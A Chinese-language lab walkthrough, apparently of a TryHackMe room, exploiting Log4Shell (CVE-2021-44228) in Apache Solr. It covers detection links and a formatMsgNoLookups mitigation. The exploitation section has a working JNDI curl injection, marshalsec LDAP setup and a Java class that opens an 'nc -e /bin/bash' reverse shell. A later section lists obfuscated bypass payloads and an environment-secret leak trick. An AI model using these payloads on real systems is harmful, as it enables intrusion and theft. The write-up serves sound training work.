侦察发现

此目标计算机正在运行ApacheSolr 8.11.0，这是已知包含此易受攻击的log4j包的软件的一个示例。为了展示此漏洞，该应用程序在Java 1.8.0_181上运行。

浏览可在http://10.10.115.197:8983访问的Web界面，并单击周围以感受应用程序。有关ApacheSolr的更多详细信息，请参阅其官方网站。https：//solr.apache.org/](https://solr.apache.org/)

这个ApacheSolr实例没有提供任何数据。它是一个平坦的，香草的，绝对最小的安装-但在其核心，它仍然容易受到这个CVE-2021-44228的攻击。

一个文件有大量的INFO条目，显示对一个特定URL端点的重复请求。哪个文件包含这个重复的条目？(Just文件名本身，不需要路径）

solr.log

在这些重复的条目中指示了什么“路径”或URL端点？

/admin/cores

查看这些日志条目，哪个字段名称表示您作为用户可以控制的某些数据入口点？(Just字段名称）

params

概念验证

请注意，当从Web界面查看刚刚发现的URL端点时，它需要以solr/前缀开头。这意味着您应该访问：

http://10.10.115.197:8983/solr/admin/cores

您还注意到params似乎包含在日志文件中。此时，您可能已经开始看到攻击向量。

log4j包通过“解析”条目向日志添加了额外的逻辑，最终丰富了数据–但可能会额外采取行动，甚至根据条目数据评估代码。这是CVE-2021-44228的要点。其他语法实际上可能会在输入日志文件时执行。

此语法的一些示例如下：

${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}

您可能已经知道滥用此log4j漏洞的一般有效载荷。利用这一点的常用语法格式如下所示：

${jndi:ldap://ATTACKERCONTROLLEDHOST}

此语法表明log4j将从“JNDI”或“JavaServerandDirectoryInterface”调用功能。最终，这可以用来访问外部资源或“引用”，这就是这次攻击中的武器。

注意ldap://模式。这表明目标将通过LDAP协议到达端点（在此攻击情况下，是攻击者控制的位置）。为了简洁起见，我们不需要在这里涵盖LDAP的所有细节，但要知道这是我们在改进攻击时需要使用的东西。

现在，知道目标实际上将连接到外部位置。这由上面语法中的ATTACKERCONTROLLEDHOST占位符指示。在此场景中，您作为攻击者，可以托管一个简单的侦听器来查看此连接。

下一个问题是，我们可以在哪里输入这个语法？

应用程序记录数据的任何位置。

这就是这种脆弱性的症结所在。不幸的是，很难确定不同应用程序的攻击面在哪里，因此，哪些应用程序实际上是脆弱的。仅仅看到log4j文件的存在并不能说明确切的版本号，甚至不能说明应用程序可能在何处或如何使用该软件包。

回想一下上一个任务。您已经发现可以将params提供给/solr/admin/cores URL，现在您对log4j的工作方式有了更好的理解，您应该明白这就是您提供inject语法的地方。您可以简单地提供HTTPGET变量或参数，然后由log4j处理和解析。它所需要的只是这一行文本–这使得这个漏洞非常容易被利用。

您可能提供此JNDI语法的其他位置：

输入框、用户和密码登录表单、应用程序中的数据输入点
HTTP头，如User-Agent、X-Forwarded-For或其他可自定义的头
用户提供数据的任何位置

如果您想了解有关此JNDI攻击向量的更多信息，请查看2016年的Black Hat USA演示文稿。

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

开启监听

nc -lvnp 9999

curl 'http://10.10.115.197:8983/solr/admin/cores?foo=$\{jndi:ldap://10.14.52.15:9999\}'

注意，由于在语法中使用了$美元符号字符，因此必须确保将URL用单引号括起来，这样bash（命令行shell）就不会将其解释为变量。此外，必须用一个反斜杠字符转义{ }花括号，这样它们就不会在curl命令参数中被错误地表示。

只是表示能出站，但是还没反弹shell

Exploitation

此时，您已经通过在netcat侦听器中看到此连接来验证目标实际上是易受攻击的。但是，它发出了LDAP请求…所以你的netcat侦听器可能看到的都是不可打印的字符（看起来很奇怪的字节）。我们现在可以在此基础上构建一个真实的LDAP处理程序来响应。

我们将利用一个开源的公共工具来搭建一个“LDAP推荐服务器“。这将用于将受害者的初始请求重定向到另一个位置，在那里您可以托管最终将在目标上运行代码的辅助有效负载。它是这样分解的：

${jndi:ldap://attackerserver:1389/Resource} -联系我们的LDAP推荐服务器
LDAP Referral Server将请求转移到辅助服务器http://attackerserver/resource
受害者检索并执行http://attackerserver/resource中的代码

这意味着我们需要一个HTTP服务器，我们可以简单地使用以下任何选项（在端口8000上服务）托管它：

python3 -m http.server 8000
php -S 0.0.0.0:8000
(or任何其他busybox httpd或正式的Web服务，你可能喜欢）

然而，业务的第一个顺序是获得LDAP引用服务器。我们将使用https：//github.com/mbechler/marshalsec提供的marshalsec实用程序

最后，它必须运行Java。查看此实用程序的README，建议使用Java 8。(You使用不同的版本可能会成功，也可能不会成功，但为了“遵守规则”，我们将匹配目标虚拟机上使用的Java版本）

我们必须使用Java builder maven构建marshalsec。如果您的系统上还没有maven，您可以通过包管理器安装它（如果您使用的是AttackBox，则不需要）：

sudo apt install maven

接下来，运行命令来构建marshalsec实用程序：

使用maven构建marshalsec工具

attackbox@tryhackme:~/root/Rooms/solar/marshalsec$ mvn clean package -DskipTests

构建了marshalsec实用程序后，我们可以启动LDAP引用服务器，以直接连接到辅助HTTP服务器（我们将在稍后准备好）。非常欢迎您深入研究使用方法、参数和其他可以使用此工具配置的设置–但为了演示起见，启动LDAP服务器的语法如下所示：

启动LDAP服务器

attackbox@tryhackme:~/root/../marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"

根据需要调整攻击机器的IP地址。请注意，我们将提供在8000上侦听的HTTP端口。

现在我们的LDAP服务器已经准备就绪，我们可以打开第二个终端窗口来准备最终的有效负载和辅助HTTP服务器。

最终，log4j漏洞将执行您在Java编程语言中编写的任意代码。如果您不熟悉Java，不要担心–我们将使用简单的语法来运行系统命令。实际上，我们将检索一个反向shell连接，这样我们就可以控制目标机器！

创建并移动到一个新目录，您可能会在其中托管此负载。首先，在您选择的文本编辑器（nano，Vim，Sublime Text，VS Code等）中创建您的payload，具体名称为Exploit.java：

保存Java漏洞代码更改以使用您的IP

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

适当修改攻击者的IP地址和端口号（我们使用9999作为示例端口号）。

对于这个有效负载，你可以看到我们将在目标上执行一个命令，具体来说就是nc -e /bin/bash，以回调到我们的攻击机器。这个目标已经配置了ncat，以便于利用，尽管非常欢迎您使用其他有效负载进行试验。

使用javac Exploit.java -source 8 -target 8编译负载，并通过运行ls命令并找到新创建的Exploit.class文件来验证它是否成功;如果*不使用attackbox，请从命令中删除“-source 8 -target 8”。

编译Java漏洞利用代码

attackbox@tryhackme$ javac Exploit.java -source 8 -target 8

在保存Exploit.java文件的同一个文件夹中运行上述命令

创建并编译了有效负载后，现在可以通过启动临时HTTP服务器来托管它。

attackbox@tryhackme$ python3 -m http.server

你的payload被创建和编译，它在一个终端上托管在HTTP服务器上，你的LDAP引用服务器在另一个终端上等待–接下来准备一个netcat侦听器来在另一个新的终端窗口中捕获你的反向shell：

准备好你的netcat监听器

attackbox@tryhackme$ nc -lnvp 9999

最后，剩下要做的就是触发漏洞并启动我们的JNDI语法！请注意端口号（现在指的是我们的LDAP服务器）和我们检索的资源的变化，指定我们的漏洞：

触发漏洞利用并启动我们的JNDI语法

attackbox@tryhackme$ curl 'http://10.10.115.197:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'

适当修改攻击者的IP地址。

运行上面的命令，在你的netcat监听器中捕获一个反向shell！

持久性

检测

不幸的是，很难找到易受CVE-2021-44228“Log 4Shell”攻击的应用程序。

考虑到无限数量的潜在旁路，检测剥削可能更加困难。

尽管如此，信息安全社区已经看到了令人难以置信的大量努力和支持，以开发工具，脚本和代码来更好地限制这种威胁。虽然这个房间不会详细展示每一种技术，但你可以在网上找到大量的资源。

以下是可能有助于这两种努力的片段：

https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes (local, based off hashes of log4j JAR files)
https://gist.github.com/olliencc/8be866ae94b6bee107e3755fd1e9bf0d (local, based off hashes of log4j CLASS files)
https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228 (listing of vulnerable JAR and CLASS hashes)
https://github.com/omrsafetyo/PowerShellSnippets/blob/master/Invoke-Log4ShellScan.ps1 (local, hunting for vulnerable log4j packages in （本地，搜索易受攻击的log4j包， PowerShell)）
https://github.com/darkarnium/CVE-2021-44228 (local, YARA rules)

提醒一下，这里有大量的资源：

https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

绕过

我们展示的JNDI有效负载是执行此攻击的标准和“典型”语法。

如果你是一个渗透测试人员或红色团队成员，这种语法可能会被Web应用程序防火墙（WAF）捕获或很容易检测到。如果你是一个蓝队或事件响应者，你应该积极寻找和检测语法。

由于此攻击利用了log4j，因此有效负载最终可以访问包提供的所有相同的扩展、替换和模板技巧。这意味着威胁行为者可以使用任何类型的技巧来隐藏，掩盖或混淆有效载荷。

考虑到这一点，老实说，在这种语法中有无限数量的旁路。虽然我们不会在本练习中深入研究细节，但我们鼓励您在此环境中使用它们。请仔细阅读它们，以了解使用了哪些技巧来伪装原始语法。

网上有许多资源展示了这些旁路的一些例子，下面提供了一些：

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/}

注意在最后一个中使用了rmi://协议。这也是另一个可以与marshalsec实用程序一起使用的有效技术–请随意尝试！

此外，在log4j引擎中，您可以扩展任意环境变量（如果这还不够糟糕的话）。考虑一下即使使用远程代码执行也可能造成的损害，但是一个简单的LDAP连接和${env:AWS_SECRET_ACCESS_KEY}

对于其他技术，强烈建议您自己进行研究。在这个Reddit线程中共享了大量信息：https：//www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

温馨提示，好好利用这些知识,你知道他们怎么说的…巨大的权力，巨大的责任

缓解

现在，您已经充当了一点对手，请脱下您的黑客帽子，让我们减轻这台易受攻击的机器上的漏洞！查看Apache Solr网站上建议的缓解技术。

https：//solr.apache.org/security.html](https://solr.apache.org/security.html)

一个选项是使用特定语法手动修改solr.in.sh让我们沿着这条路走下去，为了展示这种防御策略。

如果您想直接SSH到计算机，则凭据为：vagrant作为用户名，vagrant作为密码。

回答下面的问题

确定solr.in.sh文件在此目标计算机的文件系统上的位置。您可以使用以下命令快速完成此操作：

查找solr.in.sh文件

user@machine$ locate solr.in.sh

您可能会看到两个结果–我们想要一个与系统范围的配置相对应的结果（如果您不明白这指的是什么，请参阅提示）

ApacheSolr网站的“安全”页面解释了您可以将此特定语法添加到solr.in.sh文件：

SOLR_OPTS=”$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true”

使用您选择的文本编辑器修改solr.in.sh文件。如果您还不是sudo，则需要root前缀来借用root权限。

滚动到文件的底部，并使用上述语法添加一个新行。保存并关闭文件。

现在配置文件已经修改，服务仍然需要重新启动以使更改生效。

此过程可能因安装而异，但对于此服务器，您可以使用以下语法重新启动服务：

重新启动Solr服务

user@machine$ sudo /etc/init.d/solr restart

运行上面的命令等待Apache Solr服务成功重启。

要验证补丁是否已经发生，请像以前一样启动另一个netcat侦听器，并启动临时LDAP引用服务器和HTTP服务器（同样在不同的终端中）。

您需要重新创建相同的设置以重新利用计算机。

启动netcat监听器

user@machine$ nc -lnvp 9999

如果你需要复习一下命令语法，请滚动到任务#5。

使用与任务#5中相同的curl命令语法重新利用服务器。

您应该看到，没有向您的临时LDAP服务器发出请求，因此也没有向您的HTTP服务器发出请求，并且…没有反向shell被发送回您的netcat侦听器！

验证此Apache Solr实例现在已针对Log 4shell漏洞得到缓解！

另附一篇文章：

https://cloud.tencent.com/developer/article/1949546